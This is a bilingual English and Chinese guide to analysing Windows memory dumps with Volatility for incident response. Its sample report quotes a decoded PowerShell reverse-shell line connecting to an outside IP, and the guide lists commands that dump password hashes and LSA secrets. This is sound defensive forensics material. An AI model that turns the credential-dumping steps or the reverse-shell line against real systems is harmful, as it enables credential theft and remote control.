analyzing-memory-dumps-with-volatility

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

Analyzing Memory Dumps with Volatility

使用Volatility分析内存转储

When to Use

适用场景

A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
Detecting fileless malware that exists only in memory without persistent disk artifacts
Extracting encryption keys, passwords, or decrypted configuration from process memory
Identifying process injection, DLL injection, or process hollowing in a compromised system
Analyzing rootkit activity that hides from standard disk-based forensic tools

Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.

已捕获受入侵系统的RAM，需要对恶意软件痕迹进行取证分析
检测仅存在于内存中、无磁盘持久化痕迹的无文件恶意软件
从进程内存中提取加密密钥、密码或解密后的配置信息
识别受入侵系统中的进程注入、DLL注入或进程掏空行为
分析可躲避标准磁盘取证工具的Rootkit活动

请勿用于磁盘镜像分析；磁盘取证请使用Autopsy、FTK或Sleuth Kit。

Prerequisites

先决条件

Volatility 3 installed (
```
pip install volatility3
```
) with symbol tables for target OS
Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
Knowledge of the source OS version for correct profile/symbol selection
Sufficient disk space (memory dumps can be 4-64 GB)
YARA rules for scanning memory for known malware signatures
Strings utility for extracting readable strings from memory regions

已安装Volatility 3（
```
pip install volatility3
```
），且拥有目标操作系统的符号表
已从目标系统获取内存转储文件（使用WinPmem、LiME或DumpIt工具）
了解源操作系统版本，以便正确选择配置文件/符号
充足的磁盘空间（内存转储大小通常为4-64 GB）
用于扫描内存中已知恶意软件特征的YARA规则
用于从内存区域提取可读字符串的Strings工具

Workflow

工作流程

Step 1: Identify the Memory Dump Profile

步骤1：识别内存转储配置文件

Determine the operating system and version from the memory dump:

bash

undefined

从内存转储中确定操作系统及版本：

bash

undefined

Volatility 3: Automatic OS detection

Volatility 3：自动检测操作系统

vol3 -f memory.dmp windows.info

List available plugins

列出可用插件

vol3 -f memory.dmp --help

If symbols are needed, download from:

若需要符号表，请从以下地址下载：

https://downloads.volatilityfoundation.org/volatility3/symbols/

For Volatility 2 (legacy):

针对Volatility 2（旧版本）：

vol2 -f memory.dmp imageinfo vol2 -f memory.dmp kdbgscan

undefined

vol2 -f memory.dmp imageinfo vol2 -f memory.dmp kdbgscan

undefined

Step 2: Enumerate Running Processes

步骤2：枚举运行中的进程

List all processes and identify suspicious entries:

bash

undefined

列出所有进程并识别可疑条目：

bash

undefined

List all processes

列出所有进程

vol3 -f memory.dmp windows.pslist

Process tree (parent-child relationships)

进程树（父子关系）

vol3 -f memory.dmp windows.pstree

Scan for hidden/unlinked processes (rootkit detection)

扫描隐藏/未链接的进程（Rootkit检测）

vol3 -f memory.dmp windows.psscan

Compare pslist vs psscan to find hidden processes

对比pslist与psscan结果以发现隐藏进程

Processes in psscan but not pslist are potentially hidden by rootkits

存在于psscan但不存在于pslist的进程可能被Rootkit隐藏

Check for process hollowing

检查进程掏空行为

vol3 -f memory.dmp windows.pslist --dump

Then verify the dumped EXE matches the expected binary on disk

随后验证转储的EXE是否与磁盘上的预期二进制文件匹配

undefined

Suspicious Process Indicators: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━

svchost.exe not spawned by services.exe (wrong parent)
csrss.exe/lsass.exe with unusual parent process
Multiple instances of lsass.exe (should be only one)
Processes with misspelled names (scvhost.exe, lssas.exe)
cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
Processes running from unusual paths (%TEMP%, %APPDATA%)
Processes with no parent (orphaned - parent terminated)

undefined

undefined

可疑进程指标： ━━━━━━━━━━━━━━━━━━━━━━━━━━━━

svchost.exe并非由services.exe启动（父进程错误）
csrss.exe/lsass.exe拥有异常父进程
存在多个lsass.exe实例（正常情况下应只有一个）
进程名称拼写错误（如scvhost.exe、lssas.exe）
cmd.exe或powershell.exe由WINWORD.EXE或浏览器启动
进程从异常路径运行（%TEMP%、%APPDATA%）
无父进程的孤儿进程（父进程已终止）

undefined

Step 3: Detect Malicious Code Injection

步骤3：检测恶意代码注入

Scan for injected code and process hollowing:

bash

undefined

扫描注入代码与进程掏空行为：

bash

undefined

Detect injected code in processes (malfind)

检测进程中的注入代码（malfind）

vol3 -f memory.dmp windows.malfind

Malfind looks for:

Malfind检测依据：

- Memory regions with PAGE_EXECUTE_READWRITE protection

- 拥有PAGE_EXECUTE_READWRITE权限的内存区域

- Memory regions containing PE headers (MZ/PE signature)

- 包含PE头（MZ/PE签名）的内存区域

- VAD (Virtual Address Descriptor) anomalies

- VAD（虚拟地址描述符）异常

Dump injected memory regions for analysis

转储注入的内存区域以进行分析

vol3 -f memory.dmp windows.malfind --dump --pid 2184

List loaded DLLs per process

列出每个进程加载的DLL

vol3 -f memory.dmp windows.dlllist --pid 2184

Detect hollowed processes by comparing mapped image to disk

通过对比映射镜像与磁盘文件检测掏空进程

vol3 -f memory.dmp windows.hollowfind

Scan for loaded drivers (potential rootkit drivers)

扫描已加载的驱动（潜在Rootkit驱动）

vol3 -f memory.dmp windows.driverscan

List kernel modules

列出内核模块

vol3 -f memory.dmp windows.modules

undefined

vol3 -f memory.dmp windows.modules

undefined

Step 4: Analyze Network Connections

步骤4：分析网络连接

Extract active and closed network connections:

bash

undefined

提取活跃与已关闭的网络连接：

bash

undefined

List all network connections (active and listening)

列出所有网络连接（活跃与监听状态）

vol3 -f memory.dmp windows.netscan

Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

输出列：偏移量、协议、本地地址、本地端口、外部地址、外部端口、状态、PID、所属进程

Filter for established connections to external IPs

过滤已建立的外部IP连接

vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

For older Windows (XP/2003):

针对旧版Windows（XP/2003）：

vol3 -f memory.dmp windows.netstat

Cross-reference PIDs with process list

将PID与进程列表交叉验证

Suspicious: svchost.exe connected to external IP on non-standard port

可疑情况：svchost.exe连接到外部IP的非标准端口

Suspicious: notepad.exe or calc.exe with network connections

可疑情况：notepad.exe或calc.exe存在网络连接

undefined

undefined

Step 5: Extract Artifacts and Credentials

步骤5：提取痕迹与凭证

Recover sensitive data from memory:

bash

undefined

从内存中恢复敏感数据：

bash

undefined

Dump process memory for a specific PID

转储特定PID的进程内存

vol3 -f memory.dmp windows.memmap --dump --pid 2184

Extract command-line history

提取命令行历史

vol3 -f memory.dmp windows.cmdline

Extract environment variables

提取环境变量

vol3 -f memory.dmp windows.envars --pid 2184

Registry analysis (extract Run keys for persistence)

注册表分析（提取Run键以检查持久化机制）

vol3 -f memory.dmp windows.registry.printkey
--key "Software\Microsoft\Windows\CurrentVersion\Run"

Extract hashed/cached credentials

提取哈希/缓存凭证

vol3 -f memory.dmp windows.hashdump vol3 -f memory.dmp windows.cachedump vol3 -f memory.dmp windows.lsadump

Extract clipboard contents

提取剪贴板内容

vol3 -f memory.dmp windows.clipboard

File extraction from memory

从内存中提取文件

vol3 -f memory.dmp windows.filescan | grep -i "payload|malware|suspicious" vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

undefined

vol3 -f memory.dmp windows.filescan | grep -i "payload|malware|suspicious" vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

undefined

Step 6: Scan Memory with YARA Rules

步骤6：使用YARA规则扫描内存

Apply YARA signatures to detect known malware in memory:

bash

undefined

应用YARA特征检测内存中的已知恶意软件：

bash

undefined

Scan entire memory dump with YARA rules

使用YARA规则扫描整个内存转储

vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

Scan specific process memory

扫描特定进程内存

vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

Built-in YARA scan for common patterns

使用内置YARA扫描常见模式

vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: $s1 = "gate.php" condition: $s1 }"

Scan for encryption key material

扫描加密密钥素材

vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: $sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: $sbox }"

undefined

vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: $sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: $sbox }"

undefined

Step 7: Timeline and Report Generation

步骤7：时间线与报告生成

Create an analysis timeline and compile findings:

bash

undefined

创建分析时间线并整理发现结果：

bash

undefined

Generate comprehensive timeline

生成全面时间线

vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

Timeline includes:

时间线包含：

- Process creation/exit times

- 进程创建/退出时间

- Network connection timestamps

- 网络连接时间戳

- Registry modification times

- 注册表修改时间

- File access times

- 文件访问时间

Export process list for reporting

导出进程列表用于报告

vol3 -f memory.dmp windows.pslist --output csv > processes.csv

Export network connections

导出网络连接

vol3 -f memory.dmp windows.netscan --output csv > network.csv

undefined

vol3 -f memory.dmp windows.netscan --output csv > network.csv

undefined

Key Concepts

关键概念

Term	Definition
Memory Forensics	Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk
Process Hollowing	Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution
Malfind	Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs
VAD (Virtual Address Descriptor)	Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing
EPROCESS	Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools
Pool Tag Scanning	Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked
Fileless Malware	Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics

术语	定义
Memory Forensics（内存取证）	分析易失性内存（RAM）内容，识别运行中的进程、网络连接及可能不存在于磁盘上的内存驻留痕迹
Process Hollowing（进程掏空）	恶意软件技术：创建合法进程并置于挂起状态，将其内存替换为恶意代码后恢复执行
Malfind	Volatility插件，通过识别具有可执行权限且包含PE头的非镜像VAD内存区域来检测注入代码
VAD (Virtual Address Descriptor，虚拟地址描述符)	Windows内核结构，跟踪分配给进程的内存区域；VAD异常表明存在注入或掏空行为
EPROCESS	Windows内核结构，代表一个进程；Rootkit通过取消链接EPROCESS条目来躲避标准工具的进程检测
Pool Tag Scanning（池标签扫描）	内存取证技术，扫描内核对象池标签以查找即使已取消链接的对象（进程、文件、连接）
Fileless Malware（无文件恶意软件）	完全在内存中运行、不在磁盘上创建文件的恶意软件；仅可通过内存取证检测

Tools & Systems

工具与系统

Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis

Volatility 3: 开源内存取证框架，支持Windows、Linux和macOS内存分析，具备插件架构
WinPmem: Windows系统内存获取工具，创建原始内存转储用于离线分析
LiME (Linux Memory Extractor): 可加载内核模块，用于捕获Linux系统内存转储
Rekall: 替代内存取证框架，具备部分独特分析能力（已停止维护但仍有用）
MemProcFS: 内存进程文件系统，允许将内存转储挂载为文件系统以进行直观分析

Common Scenarios

常见场景

Scenario: Detecting Fileless Malware After EDR Alert

场景：EDR告警后检测无文件恶意软件

Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.

Approach:

Run
```
windows.pstree
```
to identify the process chain (which process spawned PowerShell)
Run
```
windows.malfind
```
to detect injected code in running processes
Dump the suspicious process memory and extract strings for C2 URLs
Run
```
windows.netscan
```
to identify network connections from the compromised processes
Run
```
windows.cmdline
```
to see what commands PowerShell executed
Scan with YARA rules for known malware families in the dumped process memory
Extract credentials with
```
hashdump
```
and
```
lsadump
```
to assess lateral movement risk

Pitfalls:

Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
Not comparing
```
pslist
```
vs
```
psscan
```
output (missing rootkit-hidden processes)
Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)

背景: EDR检测到可疑PowerShell活动，但威胁攻击者已清理磁盘痕迹。系统重启前已捕获内存转储，需分析以识别恶意软件、其持久化机制及横向移动风险。

分析方法:

运行
```
windows.pstree
```
识别进程链（哪个进程启动了PowerShell）
运行
```
windows.malfind
```
检测运行进程中的注入代码
转储可疑进程内存并提取字符串以查找C2 URL
运行
```
windows.netscan
```
识别受感染进程的网络连接
运行
```
windows.cmdline
```
查看PowerShell执行的命令
使用YARA规则扫描转储的进程内存以查找已知恶意软件家族
使用
```
hashdump
```
和
```
lsadump
```
提取凭证，评估横向移动风险

常见误区:

使用与操作系统版本不匹配的符号表（导致插件失败或结果错误）
未对比
```
pslist
```
与
```
psscan
```
输出（遗漏Rootkit隐藏的进程）
忽略已被注入的合法进程（重点关注malfind结果，而非仅进程名称）
未提取完整进程内存就得出分析结论（进程转储中的字符串可能揭示更多IOC）

Output Format

输出格式

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

内存取证分析报告
===================================
转储文件:        memory.dmp
转储大小:        16 GB
操作系统版本:    Windows 10 21H2（内部版本19044）
捕获工具:        WinPmem 4.0
捕获时间:        2025-09-15 14:35:00 UTC

可疑进程
PID   PPID  进程名称          路径                                    异常点
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe 路径异常
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      父进程为伪造的svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             由PowerShell启动

检测到代码注入（malfind）
PID 852 (explorer.exe):
  地址: 0x00400000  大小: 98304  权限: PAGE_EXECUTE_READWRITE
  头信息: MZ（检测到嵌入的PE文件）
  转储文件SHA-256: abc123def456...

网络连接
PID   进程名称         本地地址           外部地址              状态
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   已建立
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    已建立

提取的凭证
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

命令行历史
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  解码后: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA匹配结果
PID 2184: 规则CobaltStrike_Beacon { 在0x00401200处匹配 }

时间线
14:10:00  svchost.exe（PID 2184）从C:\Users\Admin\AppData\Temp\启动
14:10:05  与185.220.101.42:443建立网络连接
14:12:30  powershell.exe（PID 4012）由svchost.exe启动
14:15:00  检测到向explorer.exe（PID 852）注入代码
14:20:00  从LSASS进程转储凭证